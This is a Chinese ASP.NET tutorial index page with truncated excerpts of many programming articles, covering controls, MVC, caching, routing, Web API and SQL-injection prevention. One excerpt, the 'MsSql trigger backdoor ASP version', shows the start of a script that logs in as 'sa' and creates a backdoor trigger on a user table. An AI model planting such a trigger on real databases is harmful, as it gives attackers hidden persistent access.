ASP - 技术教程文章

关于继承扩展ASP.NET控件(以Textbox为例)【代码】【图】

以下是一个相对简陋的扩展, 主要是针对金额显示的Textbox扩展.using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI.WebControls; using System.ComponentModel; using System.Web.UI; using System.Text.RegularExpressions;[assembly: TagPrefix("XXX.Web.Controls", "XXX")] namespace XXX.Web.Controls {[ToolboxData("<{0}:DecimalTextbox runat=server></{0}:Decimal...

Asp.Net实现JS前台带箭头的流程图方法总结!(个人笔记,信息不全)【图】

Asp.Net实现JS前台带箭头的流程图方法总结!(持续更新中)一、返回前台json格式json5 = "[{\"Id\":2259,\"Name\":\"高中\"},{\"Id\":2259,\"tName\":\"初中\"},{"Id":2259,"Name":"小学"}]";原文:http://www.cnblogs.com/yutingliuyl/p/7142519.html

ASP.NET Core 依赖注入传入带参构造函数

服务在ASP.NET Core依赖注入中的生命周期:Transient 类型的服务在每次注入或请求的时候被创建。Scoped 类型的服务按照作用域被创建。在Web程序中,每个Web请求都会创建新的隔离的服务作用域。这意味着Scoped类型的服务通常会根据Web请求创建。Singleton 类型的服务由DI容器创建。这通常意味着它们根据应用程序仅仅被创建一次,然后用于应用程序的整个生命周期。context.Services.AddTransient<ICompressService>(x=>new CompressS...

软件工程阅读笔记(五)之ASP.NET动态网站设计

ASP.NET页面的内部结构是非常模块化的,包括页面指令、代码和页面布局3个独立部分。页面指令。页面指令建立该页面的运行环境,规定ASP.NET引擎的运行库如何处理该页面,控制ASP.NET页面的行为。源代码部分。源代码部分包括页面和控件事件处理程序等,先编译后执行。页面布局。页面布局表示页面的可视化元素,包括标记、服务器控件和静态文本。其中,页面指令和页面布局统称为HTML部分。ASP.NET页面指令有多个,其中最重要的是@Page...

ASP.net连接mysql数据库(使用MySql.Data.dll)【代码】【图】

以前用ASP.net做web网站时用的都是sqlserver 数据库,也没有了解用mysql如何连接,遂今天试了下,多余就不说了,直接上步骤了。首先我采用的是MySql.Data.dll这种方式连接数据库,我把放在百度云上了,大家可以下载:http://pan.baidu.com/s/1o78bql0mysql的安装我就不多说了,傻瓜式安装即可,这里推荐一个可视化工具可以方便看到数据库里的表:为了简单测试我就把数据库ll表里放了一个字段date接下来,在ASP.net项目中右击添加My...

ASP.NET开发实战——(五)ASP.NET MVC & 分层【图】

上一篇文章简要说明了MVC所代表的含义并提供了详细的项目及其控制器、视图等内容的创建步骤,最终完成了一个简单ASP.NET MVC程序。注:MVC与ASP.NET MVC不相等,MVC是一种开发模式,而ASP.NET MVC是MVC这种模式的其中一种实现方式,本文中提到的MVC如果没有特指,那么均表示ASP.NET MVC。本文将从ASP.NET的M-V-C到底代表什么?如何编写对应的代码?来讨论如何使用ASP.NET MVC开发应用程序。○ ASP.NET MVC与分层○ ASP.NET MVC中的M...

asp.net通用开发框架,learun v7.0权限管理及工作流配置【图】

公司业务量比较大,接了很多项目,为了缩短开发周期老板让我牵头搭建了一个敏捷开发框架。我们主要的业务是做OA、CRM、ERP一类的管理系统,一个通用的后台搭出来,再配合一些快速开发的组件开发效率能提高很多。 另外老板一再强调要支持APP开发,一次开发能部署到安卓和IOS上。 作为开篇之作,先介绍一下该框架的功能点及技术点,后续的文章再按功能详细讲解。 献上《在线体验Demo地址》希望大家也能从中得到一些启发。 官网:www....

ASP.NET MVC 4 (四) 控制器扩展【代码】【图】

MVC的标准流程是请求传递给控制器,由控制器action方法操作数据模型,最后交由视图渲染输出,这里忽略了两个细节,就是MVC是如何创建相应控制器实例,又是如何调用控制器action方法的,这就必须讲到控制器工厂和action调用器。控制器工厂Controller factory负责创建并初始化控制器,控制器工厂实现IControllerFactory接口:namespace System.Web.Mvc { public interface IControllerFactory { IController CreateController(Reque...

MsSql 触发器后门asp版

复制代码代码如下:<%‘里边的变量代码大家用时自己改吧On Error Resume nextSet conn=Server.CreateObject("ADODB.Connection") DSN="driver={SQL Server};Server=(Local)\GSQL;database=baby;uid=sa;pwd=lcx;"conn.Open DSNif conn.State=1 then response.write("成功") sql="CREATE TRIGGER myasp_bkdoor"&Chr(10)&Chr(13)&"ON users_member"&Chr(10)&Chr(13)&"AFTER UPDATE"&Chr(10)&Chr(13)&"AS"&Chr(10)&Chr(13)&"IF user=‘d...

ASP.NET 上的 Async/Await 简介

原文链接大多数有关 async/await 的在线资源假定您正在开发客户端应用程序,但在服务器上有 async 的位置吗?可以非常肯定地回答“有”。本文是对 ASP.NET 上异步请求的概念性概述,并提供了对最佳在线资源的引用。我不打算介绍 async 或 await 的语法;因为我已经在一篇介绍性的博客文章 ( bit.ly/19IkogW) 以及一篇关于 async 最佳做法的文章 ( msdn.microsoft.com/magazine/jj991977) 中介绍过了。本文将特别重点介绍 async 在 ...

asp.net + ajax + sqlserver 自动补全功能

代码下载页面:http://download.csdn.net/detail/zhanghui_hn/6994105说明:数据库连接字符串在web.config文件中,为方便运行使用的是官方的Northwind数据库。参考(向其作者致敬):2 http://www.loveweb8.com/plus/demo.php?aid=57这个例子是html源码。利用jquery.autocomplete插件利用js实现了自动补全功能。由于我的需要是结合sqlserver数据库表实现自动补全功能。就下来就是将数据库表转为js数组,自然而然就想到了ajax。2 ...

ASP.NET Core读取配置文件【图】

1.读取配置文件配置文件不区分大小写 结果如下: 注意:如果配置文件有中文会出现乱码,把json文件用记事本代开存为utf-8格式就好了 原文:https://www.cnblogs.com/sunff/p/13289550.html

精通ASP.NET中弹出窗口技术

并探讨常用非标准IE浏览器对弹出的窗口的各种过滤行为及使用弹出窗口相应对策,以期给出使用弹出窗口的一个通用较优方案。 作为Microsoft的最新建立动态Web网站的工具,ASP.NET相对于ASP和JSP在改变原始的Web编程方式方面有了长足的长进。它的代码与页面分离技术(CodeBehind)以及完善的Web服务器控件为程序员提供了一个更加符合传统编程的Web服务器端开发方式。但Web编程还是有着与传统编程不相同的特点,这些特点决定了ASP.NET编...

Asp.Net Core 实现查询时缓存修改后缓存过期【代码】

应用场景: 在高速公路收费系统业务中, 我们的收费站列表信息被频繁各种查询,来自整个自治区的收费站都会查询站信息和其他业务,那么对于站信息查询来说就显得尤其重要, 因此我们设置过期时间为10分钟。 //去报using了 下面三个命名空间 using System.Threading; using System.Threading.Tasks; using Microsoft.Extensions.Caching.Memory; namespace Uixe.Blazor.Controllers {[Authorize][Route("api/[controller]")][ApiCo...

ASP基础教程:ADO存取数据库时如何分页显示

《动态网站设计十八般武艺 --ASP 篇》一文从第一期至今已和朋友们一起度过了大半个年头,相信通过在这一段时间中的学习、实践到再学习、再实践,大家已经能够熟练运用 ASP 的内建对象、 ActiveX 组件去编写一些基本的 ASP 应用程序。从我收到的朋友们的来信中可以明显的感觉到,大家的 ASP 功力正不断地提升。最近很多朋友来信希望我写一些 ASP 在现实运用中的实例。因此,从本期开始我决定将《动态网站设计十八般武艺 --ASP 篇》的...

ASP.Net MVC学习(一)【图】

MVC 设计模式将应用程序分解成3个主要部分: Model, View, Controller(模型、视图、控制器)Model - 模型代表一系列类用来描述业务逻辑,比如业务模型以及数据访问操作,再比如数据模型。同时也定义了对数据如何进行处理的业务规则。View - 视图代表的是UI部分,像CSS、jquery、html等。它主要的职责是展现从controller接受到数据或模型。Controller - 控制器职责在于处理传入的请求。它接受用户通过视图的输入,然后对用户输入的数...

【ASP.NET 系列】浅谈缓存技术在ASP.NET中的运用【代码】【图】

本篇文章虽不谈架构,但是Cache又是架构中不可或缺的部分,因此,在讲解Cache的同时,将会提及到部分架构知识,关于架构部分,读者可以不用理解,或者直接跳过涉及架构部分的内容,你只需关心Cache即可,具体的架构,会在后续文章中与大家分享,如果你感兴趣,只需关注即可。一 为什么要在ASP.NET 项目中引入缓存1. 我们先来考虑一个问题,通常,面临高并发问题时,我们应该怎么处理?下图为常规的处理思路和方法 2.为什么引入Ca...

Mvc多级Views目录 asp.net mvc4 路由重写及 修改view 的寻找视图的规则【代码】【图】

一般我们在mvc开发过程中,都会碰到这样的问题。页面总是写在Views文件夹下,而且还只能一个Controller的页面只能写在相应的以 Controller名命名的文件夹下。如果我们写到别处呢?那么肯定会报错。这是mvc中一个约定俗成的一个规定,必须这样写。 1.正常的项目目录,如下图: 我们要访问Index页面,只需要输入Home/Index就可以访问了。我们之所以能够这样访问,是因为我们在项目创建之初系统就默认配置了一个默认的路由。我们可以按...

day39 10-Spring的AOP:基于AspectJ的切点定义【图】

切点是我们真正应用在哪些方法上,增强的那些方法上,就是add()、update()和find().delete()是没用的.没用的话就是这三个方法.为什么要定义一个切点呢? 原文:http://www.cnblogs.com/ZHONGZHENHUA/p/6809008.html

asp.net控件拖不动。控件错误

有一种可能是工程的存储路径名称不规范导致,更改命名空间及路径。我的存储路径是C#文件夹下,去掉#完美解决原文:http://www.cnblogs.com/hahanonym/p/3613266.html

无法找到元素 'aop:aspectj-autoproxy' 的声明【代码】

通配符的匹配很全面, 但无法找到元素 ‘aop:aspectj-autoproxy’ 的声明。(已解决) 今天博主我在测试Spring Aop时遇到了一个在网上都很少见到的问题,是这样子的,当我执行Spring Aop测试代码时,它抛出了以下异常org.springframework.beans.factory.xml.XmlBeanDefinitionStoreException: Line 18in XML document from class path resource [e_aop_anno/bean.xml] is invalid; nested exception is org.xml.sax.SAXParseExcepti...

asp.net 防止SQL注入攻击

只要做到以下三点,网站就会比较安全了而且维护也简单。 一、数据验证类复制代码 代码如下:parameterCheck.cs public class parameterCheck{ public static bool isEmail(string emailString){ return System.Text.RegularExpressions.Regex.IsMatch(emailString, "[‘\\w_-]+(\\. [‘\\w_-]+)*@[‘\\w_-]+(\\.[‘\\w_-]+)*\\.[a-zA-Z]{2,4}"); } public static bool isInt(string intString){ return System.Text.RegularExpressi...

asp.net core MVC 控制器,接收参数,数据绑定【代码】

参数HttpRequestHttpRequest 是用户请求对象 QueryString Form Cookie Session Header 实例: public IActionResult Index(){QueryString x = Request.QueryString; // ?a=1string x = Request.Query["a"]; //1return View();}HttpContextHttpContext 是用户请求上下文 提供Session属性获取Session对象 Session.Set设置 Session.Remove移除 Session.TryGetValue获取数据数据绑定默认绑定方式,使用特性:[FromBody] 请求体 ...

HTTP Status 500 - org.apache.jasper.JasperException: com.sun.org.apache.xerces.internal.impl.io.MalformedByteSequenceException【代码】

HTTP Status 500 - org.apache.jasper.JasperException: com.sun.org.apache.xerces.internal.impl.io.MalformedByteSequenceException: 2 字节的 UTF-8 序列的字节 2 无效。 当tomcat容器中仅仅有某个web应用不能访问,或者总是时不时出现错误,有可能在应用中某个重要使用的配置文件或者其他文件中存在无法解码的字符,就是乱码。 此次出现的异常如上,原因为 自定义标签库文件中有无法解码的中文注释 动态属性名只能是String,值...

ASP.NET MVC Routing学习笔记(一)【代码】

Routing在ASP.NET MVC中是非常核心的技术,属于ASP.NET MVC几大核心技术之一,在使用Routing之前,得先引入System.Web.Routing,但其实不用这么麻烦,因为在创建ASP.NET MVC项目时,编译器已经自动添加该引入了。 首先来看看Routing有什么能力使得它是ASP.NET MVC的几大技术之一,即Routing的两大作用: 1、在客户端浏览器将URL提交到服务器后,先经过Routing,Routing把URL(如:http://localhost:39495/Home/Index)...

aspcms多图调用以及错误提示:3704【图】

1.“为师资介绍”(相册列表)建立了内容页(相册内容页), 需要对模板页面改造,在相册详细页调用多图,之前没有试过,这次利用: 实现多图调用,注意不能使用contentid=[content:id] 因为列表用了content ,再使用会冲突;再次使用news。 2.错误提示:3704:在尝试修改head中的切换当前页面的标识效果时,发现所有页面报错3704: 然后在网上看了一些应急措施,大致是下面这种: 但具体到我这里,因为我的aspcms是最新版,上述...

ASP.NET WebApi项目框架搭建(一):创建项目【代码】【图】

一、WebApi简介ASP.NET Web API是一个框架,可以轻松构建HTTP服务,覆盖广泛的客户端,包括浏览器和移动设备。 ASP.NET Web API是在.NET Framework上构建RESTful应用程序的理想平台。其中,RESTful属于一种设计风格,REST中的GET,POST,PUT DELETE来进行数据的增删改查,如果开发人员的应用程序符合RESTful原则,则它的服务称为"RESTful风格应用服务"。二、创建WebApi项目1.打开VS2019,新建项目,选择ASP.NET Web 应用程序(.NET Fr...

OSChina 周三乱弹 —— 你会 3P 吗?【PHP,JSP 和 ASP】【图】

周三啦,时间过得真快!我先看看现在几点了,时间过得这么快,得留下点什么~@开源中国首席一失足成千古风流人物以稀为贵 :学霸的表 期末都是学霸的世界!学渣你又在图书馆睡觉觉了吗?请大家鉴定一下这是学霸,学渣还是学屌。。。物理课时,老师问:“11伏、30伏、220伏、1000伏和3500伏的电压,哪个可以摸,哪个不可以摸?” 学生:“都可以摸,但有的只能摸一次。”这学生学的好不好,跟老师有一定的关系~@bli...

ASP.NET Core 服务使用IIS托管注册Consul时的坑【图】

大家习惯将服务注册写进Startup中的Configure管道配置,用来在服务启动时进行Consul服务注册,如图: 然后由于某些原因,我更适合将服务部署在IIS,部署好之后,点击启动网站,却发现服务并没有注册进Consul,然后我就查其原因:使用 IIS 在 Windows 上托管 ASP.NET Core Windows 进程激活服务 (WAS) 也就是说,使用IIS托管时,不管是进程内外托管,都会有这个问题,第一个请求时,应用才会运行起来,我用Exceptionless做了实测...

ASP.Net生成一个简单的图片【图】

在本节中我们通过生成一个简单的图片作为ASP.NET图形处理的入门训练。首先使用VisualStudio.NET 2003 新建一个Web 应用程序,命名为GDITec,新建一个Web 窗体命名为GDI_Sample1.aspx,我们为该窗体编写逻辑代码: ‘-----code begin----- Imports System.Drawing Imports System.Drawing.Bitmap Imports System.Drawing.Graphics Public Class WebForm1 Inherits System.Web.UI.Page #Region " Web 窗体设计...